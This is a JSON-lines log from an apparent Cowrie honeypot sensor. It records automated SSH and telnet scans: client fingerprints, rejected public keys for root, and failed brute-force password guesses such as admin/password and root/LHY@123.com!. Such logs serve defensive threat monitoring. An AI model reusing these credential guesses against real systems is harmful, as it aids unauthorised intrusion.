{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:41.549170Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:41.655900Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:0e:6e:79:52:8a:37:37:3f:fa:1d:28:1d:ab:98:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYtqPLbW2NDOzJd+j7Vuh6PEmAvXYJK0sal/qrCnsqYyeAR6KxV7f2ny46f3cST7A1W1ihPHiglL+PReOSUKMoA367LcfCE00LRbsPWYeqODmkU7AoUXuNvyEkHW1qex4ER9Z0RCvdmivhsKtcVoi92d6EMD0jfxtS+JU2BAuUobLOqr3SKrcNeEVCQaWB6+f5ZeDRNjDX3YEOI8q42KFzr0M9fGd4OaBAAmSP2nGTdezMR32SfEgJYto6XGlLn0yoBXzE7DafyD667znTIBji/2ElUM5zSrh3wL/KDKomBjUy9QL5TJgs+5FIFT0It/bxDox9XJrxXa7pXPC2tN4x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:0e:6e:79:52:8a:37:37:3f:fa:1d:28:1d:ab:98:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.147023Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:0e:6e:79:52:8a:37:37:3f:fa:1d:28:1d:ab:98:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYtqPLbW2NDOzJd+j7Vuh6PEmAvXYJK0sal/qrCnsqYyeAR6KxV7f2ny46f3cST7A1W1ihPHiglL+PReOSUKMoA367LcfCE00LRbsPWYeqODmkU7AoUXuNvyEkHW1qex4ER9Z0RCvdmivhsKtcVoi92d6EMD0jfxtS+JU2BAuUobLOqr3SKrcNeEVCQaWB6+f5ZeDRNjDX3YEOI8q42KFzr0M9fGd4OaBAAmSP2nGTdezMR32SfEgJYto6XGlLn0yoBXzE7DafyD667znTIBji/2ElUM5zSrh3wL/KDKomBjUy9QL5TJgs+5FIFT0It/bxDox9XJrxXa7pXPC2tN4x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.151451Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:90:ed:79:10:93:96:1e:91:2f:73:53:57:8c:f6:54","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINnwhC3sN80V4HYI9qViJ1h7N6pX3X8VoSRWxcZhpxob","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a5:90:ed:79:10:93:96:1e:91:2f:73:53:57:8c:f6:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.254301Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:90:ed:79:10:93:96:1e:91:2f:73:53:57:8c:f6:54","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINnwhC3sN80V4HYI9qViJ1h7N6pX3X8VoSRWxcZhpxob","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.258572Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:e4:ed:a8:02:6a:d9:1f:0e:9f:50:9d:81:4a:07:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGi/WJxzTCIHoYzpcEy32R51d6ovstAQh/FZDinrod74","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4b:e4:ed:a8:02:6a:d9:1f:0e:9f:50:9d:81:4a:07:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.361922Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:e4:ed:a8:02:6a:d9:1f:0e:9f:50:9d:81:4a:07:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGi/WJxzTCIHoYzpcEy32R51d6ovstAQh/FZDinrod74","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.366471Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:7b:19:c6:0c:6e:06:20:de:5e:65:af:06:d1:77:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJadedA0dvzmkYAG/eGTOVRIjsQlU/h+aVSI6CA5qTL4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 69:7b:19:c6:0c:6e:06:20:de:5e:65:af:06:d1:77:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.472981Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:7b:19:c6:0c:6e:06:20:de:5e:65:af:06:d1:77:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJadedA0dvzmkYAG/eGTOVRIjsQlU/h+aVSI6CA5qTL4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.477432Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:fe:74:9c:b9:c6:13:17:db:66:84:8a:97:99:32:e7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID6Kv9o5vnejbnaQPGgsM8hY69D/UTz+FSRWsJCKeQYd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 19:fe:74:9c:b9:c6:13:17:db:66:84:8a:97:99:32:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.580409Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:fe:74:9c:b9:c6:13:17:db:66:84:8a:97:99:32:e7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID6Kv9o5vnejbnaQPGgsM8hY69D/UTz+FSRWsJCKeQYd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.585251Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:16:42.689209Z","src_ip":"176.65.128.179","session":"c14b64c75439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":46675,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f0e9cb958e","protocol":"ssh","message":"New connection: 190.181.25.210:46675 (10.17.0.5:22) [session: 00f0e9cb958e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:17:08.922250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:17:09.446932Z","src_ip":"190.181.25.210","session":"00f0e9cb958e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:17:09.451360Z","src_ip":"190.181.25.210","session":"00f0e9cb958e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest01","message":"login attempt [guest/guest01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:17:09.937841Z","src_ip":"190.181.25.210","session":"00f0e9cb958e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:17:11.063973Z","src_ip":"190.181.25.210","session":"00f0e9cb958e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.36289644241333,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:17:24.900395Z","src_ip":"129.232.238.42","session":"4fadc8b74136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":54734,"dst_ip":"10.17.0.5","dst_port":22,"session":"37bbba4b8cad","protocol":"ssh","message":"New connection: 190.181.25.210:54734 (10.17.0.5:22) [session: 37bbba4b8cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:09.019877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:09.025419Z","src_ip":"190.181.25.210","session":"37bbba4b8cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:09.149575Z","src_ip":"190.181.25.210","session":"37bbba4b8cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123123","message":"login attempt [user/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:10.051612Z","src_ip":"190.181.25.210","session":"37bbba4b8cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:11.178030Z","src_ip":"190.181.25.210","session":"37bbba4b8cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":38864,"dst_ip":"10.17.0.5","dst_port":22,"session":"1908659fd01a","protocol":"ssh","message":"New connection: 98.70.48.241:38864 (10.17.0.5:22) [session: 1908659fd01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:20.775886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:20.780294Z","src_ip":"98.70.48.241","session":"1908659fd01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:20.964625Z","src_ip":"98.70.48.241","session":"1908659fd01a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ovpn","password":"ovpn123","message":"login attempt [ovpn/ovpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:21.738864Z","src_ip":"98.70.48.241","session":"1908659fd01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:22.927789Z","src_ip":"98.70.48.241","session":"1908659fd01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd835ca422b","protocol":"ssh","message":"New connection: 94.26.106.44:51798 (10.17.0.5:22) [session: 2cd835ca422b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:40.154475Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:40.159860Z","src_ip":"94.26.106.44","session":"2cd835ca422b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":51802,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c7677912c3b","protocol":"ssh","message":"New connection: 94.26.106.44:51802 (10.17.0.5:22) [session: 5c7677912c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:40.278047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:40.287980Z","src_ip":"94.26.106.44","session":"5c7677912c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:40.376472Z","src_ip":"94.26.106.44","session":"5c7677912c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:40.556653Z","src_ip":"94.26.106.44","session":"5c7677912c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:41.648737Z","src_ip":"94.26.106.44","session":"5c7677912c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39164,"dst_ip":"10.17.0.5","dst_port":22,"session":"824ead1d2a55","protocol":"ssh","message":"New connection: 103.15.226.202:39164 (10.17.0.5:22) [session: 824ead1d2a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:45.881853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:45.886927Z","src_ip":"103.15.226.202","session":"824ead1d2a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:46.134666Z","src_ip":"103.15.226.202","session":"824ead1d2a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LHY@123.com!","message":"login attempt [root/LHY@123.com!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:46.886120Z","src_ip":"103.15.226.202","session":"824ead1d2a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:18:48.136389Z","src_ip":"103.15.226.202","session":"824ead1d2a55","protocol":"ssh"}
